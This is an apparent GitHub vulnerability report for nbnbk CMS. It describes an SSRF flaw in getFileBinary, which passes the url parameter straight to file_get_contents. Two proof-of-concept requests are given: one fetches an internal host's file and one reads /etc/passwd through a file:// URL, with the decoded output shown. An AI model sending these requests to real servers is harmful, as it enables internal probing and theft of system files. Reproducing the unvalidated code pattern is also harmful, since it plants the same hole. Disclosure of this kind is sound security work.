

[New issue](#)[Jump to bottom](#)

[Vuln] SSRF vulnerability in getFileBinary Function #5

🔒 Closed zer0yu opened this issue on May 19 · 2 comments

zer0yu commented on May 19 • edited ▾

A Server-Side Request Forgery (SSRF) in getFileBinary function of nbnbk cms allows remote attackers to force the application to make arbitrary requests via injection of arbitrary URLs into the url parameter.

Vulnerable code in /application/api/controller/Index.php

```
/**
 * 文件转Base64二进制流
 * @param $url 网络文件路径, 绝对地址
 * @return string
 */
public function getFileBinary()
{
    $str = file_get_contents($_REQUEST['url']);
    Util::echo_json(ReturnData::create(ReturnData::SUCCESS, chunk_split(base64_encode($str))));
}
```

Vulnerability PoC

```
GET /api/Index/getFileBinary?url=http://172.16.119.1:8181/flag.txt HTTP/1.1
Host: 172.16.119.130
Connection: close
```

The effect of the exploit is shown in the following figure. A remote attacker can force the application to make arbitrary requests via the injection of arbitrary URLs into the url parameter.

The screenshot displays a web browser interface with a 'Request' tab showing a GET request to `/api/Index/getFileBinary?url=http://172.16.119.1:8181/flag.txt`. The 'Response' tab shows an HTTP 200 OK status with various headers and a body containing a Base64 encoded string. The 'Inspector' panel on the right shows the selected text 'ZmxhZ3t0ZXN0fQo=' and its decoded value 'flag(test)\n'. Below the browser, a terminal window shows the PHP server running and the file `flag.txt` being accessed.

A remote attacker can also read arbitrary file information from the target system.

PoC

```
GET /api/Index/getFileBinary?url=file:///etc/passwd HTTP/1.1
Host: 172.16.119.130
Connection: close
```

The screenshot displays a web browser interface with a 'Request' tab showing a GET request to `/api/Index/getFileBinary?url=file:///etc/passwd`. The 'Response' tab shows an HTTP 200 OK status with various headers and a body containing a Base64 encoded string. The 'Inspector' panel on the right shows the selected text and its decoded value.

After decoding the data field of the HTTP response body in base64, you can get the specific content of the file (`/etc/passwd`)

```
nlul3pzaApzc2hkOng6MTlyOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4KbXlzeWw6eDoxMjM6MTT3Ok15U1FMlFicnZlciwslDovbm9uZXhpc3RlbnQ6L2Jpb9mYWxzZQp3d3c6eDoxMDAxOjEwMDE6Oi9ob21lL3d3d3ovYmluL3NoCg==

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```



fgeek commented on Jun 11

[CVE-2022-31386](#) has been assigned for this vulnerability.

zer0yu commented on Jun 15

Author

thx, bro



zer0yu closed this as completed on Jun 15

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

